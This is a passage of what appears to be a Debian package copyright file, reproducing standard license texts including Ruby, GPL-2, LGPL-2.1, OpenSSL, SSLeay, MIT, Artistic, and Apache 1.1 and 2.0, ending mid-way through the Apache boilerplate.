EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
|
||||
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Ruby
|
||||
1. You may make and give away verbatim copies of the source form of the
|
||||
software without restriction, provided that you duplicate all of the
|
||||
original copyright notices and associated disclaimers.
|
||||
.
|
||||
2. You may modify your copy of the software in any way, provided that
|
||||
you do at least ONE of the following:
|
||||
.
|
||||
a) place your modifications in the Public Domain or otherwise
|
||||
make them Freely Available, such as by posting said
|
||||
modifications to Usenet or an equivalent medium, or by allowing
|
||||
the author to include your modifications in the software.
|
||||
.
|
||||
b) use the modified software only within your corporation or
|
||||
organization.
|
||||
.
|
||||
c) rename any non-standard executables so the names do not conflict
|
||||
with standard executables, which must also be provided.
|
||||
.
|
||||
d) make other distribution arrangements with the author.
|
||||
.
|
||||
3. You may distribute the software in object code or executable
|
||||
form, provided that you do at least ONE of the following:
|
||||
.
|
||||
a) distribute the executables and library files of the software,
|
||||
together with instructions (in the manual page or equivalent)
|
||||
on where to get the original distribution.
|
||||
.
|
||||
b) accompany the distribution with the machine-readable source of
|
||||
the software.
|
||||
.
|
||||
c) give non-standard executables non-standard names, with
|
||||
instructions on where to get the original software distribution.
|
||||
.
|
||||
d) make other distribution arrangements with the author.
|
||||
.
|
||||
4. You may modify and include the part of the software into any other
|
||||
software (possibly commercial). But some files in the distribution
|
||||
are not written by the author, so that they are not under this terms.
|
||||
They are gc.c(partly), utils.c(partly), regex.[ch], fnmatch.[ch],
|
||||
glob.c, st.[ch] and some files under the ./missing directory. See
|
||||
each file for the copying condition.
|
||||
.
|
||||
5. The scripts and library files supplied as input to or produced as
|
||||
output from the software do not automatically fall under the
|
||||
copyright of the software, but belong to whomever generated them,
|
||||
and may be sold commercially, and may be aggregated with this
|
||||
software.
|
||||
.
|
||||
6. THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE.
|
||||
|
||||
License: GPL-2
|
||||
This program is free software; you can redistribute it
|
||||
and/or modify it under the terms of the GNU General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
.
|
||||
This program is distributed in the hope that it will be
|
||||
useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
|
||||
PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
.
|
||||
You should have received a copy of the GNU General Public
|
||||
License along with this package; if not, write to the Free
|
||||
Software Foundation, Inc., 51 Franklin St, Fifth Floor,
|
||||
Boston, MA 02110-1301 USA
|
||||
.
|
||||
On Debian systems, the full text of the GNU General Public
|
||||
License version 2 can be found in the file
|
||||
`/usr/share/common-licenses/GPL-2'.
|
||||
|
||||
License: LGPL-2.1
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
.
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
.
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
License: OpenSSL
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. All advertising materials mentioning features or use of this
|
||||
software must display the following acknowledgment:
|
||||
"This product includes software developed by the OpenSSL Project
|
||||
for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
|
||||
.
|
||||
4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
|
||||
endorse or promote products derived from this software without
|
||||
prior written permission. For written permission, please contact
|
||||
openssl-core@openssl.org.
|
||||
.
|
||||
5. Products derived from this software may not be called "OpenSSL"
|
||||
nor may "OpenSSL" appear in their names without prior written
|
||||
permission of the OpenSSL Project.
|
||||
.
|
||||
6. Redistributions of any form whatsoever must retain the following
|
||||
acknowledgment:
|
||||
"This product includes software developed by the OpenSSL Project
|
||||
for use in the OpenSSL Toolkit (http://www.openssl.org/)"
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT `AS IS'' AND ANY
|
||||
EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
||||
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
.
|
||||
This product includes cryptographic software written by Eric Young
|
||||
(eay@cryptsoft.com). This product includes software written by Tim
|
||||
Hudson (tjh@cryptsoft.com).
|
||||
|
||||
License: SSLeay
|
||||
This package is an SSL implementation written
|
||||
by Eric Young (eay@cryptsoft.com).
|
||||
The implementation was written so as to conform with Netscapes SSL.
|
||||
.
|
||||
This library is free for commercial and non-commercial use as long as
|
||||
the following conditions are aheared to. The following conditions
|
||||
apply to all code found in this distribution, be it the RC4, RSA,
|
||||
lhash, DES, etc., code; not just the SSL code. The SSL documentation
|
||||
included with this distribution is covered by the same copyright terms
|
||||
except that the holder is Tim Hudson (tjh@cryptsoft.com).
|
||||
.
|
||||
Copyright remains Eric Young's, and as such any Copyright notices in
|
||||
the code are not to be removed.
|
||||
If this package is used in a product, Eric Young should be given attribution
|
||||
as the author of the parts of the library used.
|
||||
This can be in the form of a textual message at program startup or
|
||||
in documentation (online or textual) provided with the package.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. All advertising materials mentioning features or use of this software
|
||||
must display the following acknowledgement:
|
||||
"This product includes cryptographic software written by
|
||||
Eric Young (eay@cryptsoft.com)"
|
||||
The word 'cryptographic' can be left out if the rouines from the library
|
||||
being used are not cryptographic related :-).
|
||||
4. If you include any Windows specific code (or a derivative thereof) from
|
||||
the apps directory (application code) you must include an acknowledgement:
|
||||
"This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY ERIC YOUNG `AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
.
|
||||
The licence and distribution terms for any publically available version or
|
||||
derivative of this code cannot be changed. i.e. this code cannot simply be
|
||||
copied and put under another distribution licence
|
||||
[including the GNU Public Licence.]
|
||||
|
||||
License: MIT
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
.
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
License: Artistic
|
||||
Copyright (c) 2000-2006, The Perl Foundation.
|
||||
.
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
.
|
||||
Preamble
|
||||
.
|
||||
This license establishes the terms under which a given free software
|
||||
Package may be copied, modified, distributed, and/or redistributed.
|
||||
The intent is that the Copyright Holder maintains some artistic
|
||||
control over the development of that Package while still keeping the
|
||||
Package available as open source and free software.
|
||||
.
|
||||
You are always permitted to make arrangements wholly outside of this
|
||||
license directly with the Copyright Holder of a given Package. If the
|
||||
terms of this license do not permit the full use that you propose to
|
||||
make of the Package, you should contact the Copyright Holder and seek
|
||||
a different licensing arrangement.
|
||||
.
|
||||
Definitions
|
||||
.
|
||||
"Copyright Holder" means the individual(s) or organization(s)
|
||||
named in the copyright notice for the entire Package.
|
||||
.
|
||||
"Contributor" means any party that has contributed code or other
|
||||
material to the Package, in accordance with the Copyright Holder's
|
||||
procedures.
|
||||
.
|
||||
"You" and "your" means any person who would like to copy,
|
||||
distribute, or modify the Package.
|
||||
.
|
||||
"Package" means the collection of files distributed by the
|
||||
Copyright Holder, and derivatives of that collection and/or of
|
||||
those files. A given Package may consist of either the Standard
|
||||
Version, or a Modified Version.
|
||||
.
|
||||
"Distribute" means providing a copy of the Package or making it
|
||||
accessible to anyone else, or in the case of a company or
|
||||
organization, to others outside of your company or organization.
|
||||
.
|
||||
"Distributor Fee" means any fee that you charge for Distributing
|
||||
this Package or providing support for this Package to another
|
||||
party. It does not mean licensing fees.
|
||||
.
|
||||
"Standard Version" refers to the Package if it has not been
|
||||
modified, or has been modified only in ways explicitly requested
|
||||
by the Copyright Holder.
|
||||
.
|
||||
"Modified Version" means the Package, if it has been changed, and
|
||||
such changes were not explicitly requested by the Copyright
|
||||
Holder.
|
||||
.
|
||||
"Original License" means this Artistic License as Distributed with
|
||||
the Standard Version of the Package, in its current version or as
|
||||
it may be modified by The Perl Foundation in the future.
|
||||
.
|
||||
"Source" form means the source code, documentation source, and
|
||||
configuration files for the Package.
|
||||
.
|
||||
"Compiled" form means the compiled bytecode, object code, binary,
|
||||
or any other form resulting from mechanical transformation or
|
||||
translation of the Source form.
|
||||
.
|
||||
Permission for Use and Modification Without Distribution
|
||||
.
|
||||
(1) You are permitted to use the Standard Version and create and use
|
||||
Modified Versions for any purpose without restriction, provided that
|
||||
you do not Distribute the Modified Version.
|
||||
.
|
||||
.
|
||||
Permissions for Redistribution of the Standard Version
|
||||
.
|
||||
(2) You may Distribute verbatim copies of the Source form of the
|
||||
Standard Version of this Package in any medium without restriction,
|
||||
either gratis or for a Distributor Fee, provided that you duplicate
|
||||
all of the original copyright notices and associated disclaimers. At
|
||||
your discretion, such verbatim copies may or may not include a
|
||||
Compiled form of the Package.
|
||||
.
|
||||
(3) You may apply any bug fixes, portability changes, and other
|
||||
modifications made available from the Copyright Holder. The resulting
|
||||
Package will still be considered the Standard Version, and as such
|
||||
will be subject to the Original License.
|
||||
.
|
||||
.
|
||||
Distribution of Modified Versions of the Package as Source
|
||||
.
|
||||
(4) You may Distribute your Modified Version as Source (either gratis
|
||||
or for a Distributor Fee, and with or without a Compiled form of the
|
||||
Modified Version) provided that you clearly document how it differs
|
||||
from the Standard Version, including, but not limited to, documenting
|
||||
any non-standard features, executables, or modules, and provided that
|
||||
you do at least ONE of the following:
|
||||
.
|
||||
(a) make the Modified Version available to the Copyright Holder
|
||||
of the Standard Version, under the Original License, so that the
|
||||
Copyright Holder may include your modifications in the Standard
|
||||
Version.
|
||||
.
|
||||
(b) ensure that installation of your Modified Version does not
|
||||
prevent the user installing or running the Standard Version. In
|
||||
addition, the Modified Version must bear a name that is different
|
||||
from the name of the Standard Version.
|
||||
.
|
||||
(c) allow anyone who receives a copy of the Modified Version to
|
||||
make the Source form of the Modified Version available to others
|
||||
under
|
||||
.
|
||||
(i) the Original License or
|
||||
.
|
||||
(ii) a license that permits the licensee to freely copy,
|
||||
modify and redistribute the Modified Version using the same
|
||||
licensing terms that apply to the copy that the licensee
|
||||
received, and requires that the Source form of the Modified
|
||||
Version, and of any works derived from it, be made freely
|
||||
available in that license fees are prohibited but Distributor
|
||||
Fees are allowed.
|
||||
.
|
||||
.
|
||||
Distribution of Compiled Forms of the Standard Version
|
||||
or Modified Versions without the Source
|
||||
.
|
||||
(5) You may Distribute Compiled forms of the Standard Version without
|
||||
the Source, provided that you include complete instructions on how to
|
||||
get the Source of the Standard Version. Such instructions must be
|
||||
valid at the time of your distribution. If these instructions, at any
|
||||
time while you are carrying out such distribution, become invalid, you
|
||||
must provide new instructions on demand or cease further distribution.
|
||||
If you provide valid instructions or cease distribution within thirty
|
||||
days after you become aware that the instructions are invalid, then
|
||||
you do not forfeit any of your rights under this license.
|
||||
.
|
||||
(6) You may Distribute a Modified Version in Compiled form without
|
||||
the Source, provided that you comply with Section 4 with respect to
|
||||
the Source of the Modified Version.
|
||||
.
|
||||
.
|
||||
Aggregating or Linking the Package
|
||||
.
|
||||
(7) You may aggregate the Package (either the Standard Version or
|
||||
Modified Version) with other packages and Distribute the resulting
|
||||
aggregation provided that you do not charge a licensing fee for the
|
||||
Package. Distributor Fees are permitted, and licensing fees for other
|
||||
components in the aggregation are permitted. The terms of this license
|
||||
apply to the use and Distribution of the Standard or Modified Versions
|
||||
as included in the aggregation.
|
||||
.
|
||||
(8) You are permitted to link Modified and Standard Versions with
|
||||
other works, to embed the Package in a larger work of your own, or to
|
||||
build stand-alone binary or bytecode versions of applications that
|
||||
include the Package, and Distribute the result without restriction,
|
||||
provided the result does not expose a direct interface to the Package.
|
||||
.
|
||||
.
|
||||
Items That are Not Considered Part of a Modified Version
|
||||
.
|
||||
(9) Works (including, but not limited to, modules and scripts) that
|
||||
merely extend or make use of the Package, do not, by themselves, cause
|
||||
the Package to be a Modified Version. In addition, such works are not
|
||||
considered parts of the Package itself, and are not subject to the
|
||||
terms of this license.
|
||||
.
|
||||
.
|
||||
General Provisions
|
||||
.
|
||||
(10) Any use, modification, and distribution of the Standard or
|
||||
Modified Versions is governed by this Artistic License. By using,
|
||||
modifying or distributing the Package, you accept this license. Do not
|
||||
use, modify, or distribute the Package, if you do not accept this
|
||||
license.
|
||||
.
|
||||
(11) If your Modified Version has been derived from a Modified
|
||||
Version made by someone other than you, you are nevertheless required
|
||||
to ensure that your Modified Version complies with the requirements of
|
||||
this license.
|
||||
.
|
||||
(12) This license does not grant you the right to use any trademark,
|
||||
service mark, tradename, or logo of the Copyright Holder.
|
||||
.
|
||||
(13) This license includes the non-exclusive, worldwide,
|
||||
free-of-charge patent license to make, have made, use, offer to sell,
|
||||
sell, import and otherwise transfer the Package with respect to any
|
||||
patent claims licensable by the Copyright Holder that are necessarily
|
||||
infringed by the Package. If you institute patent litigation
|
||||
(including a cross-claim or counterclaim) against any party alleging
|
||||
that the Package constitutes direct or contributory patent
|
||||
infringement, then this Artistic License to you shall terminate on the
|
||||
date that such litigation is filed.
|
||||
.
|
||||
(14) Disclaimer of Warranty:
|
||||
THE PACKAGE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS
|
||||
IS' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR
|
||||
NON-INFRINGEMENT ARE DISCLAIMED TO THE EXTENT PERMITTED BY YOUR LOCAL
|
||||
LAW. UNLESS REQUIRED BY LAW, NO COPYRIGHT HOLDER OR CONTRIBUTOR WILL
|
||||
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
.
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
.
|
||||
1. Definitions.
|
||||
.
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
.
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
.
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
.
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
.
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
.
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
.
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
.
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
.
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
.
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
.
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
.
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
.
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
.
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
.
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
.
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
.
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
.
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
.
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
.
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
.
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
.
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
.
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
.
|
||||
END OF TERMS AND CONDITIONS
|
||||
.
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
.
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
.
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
.
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
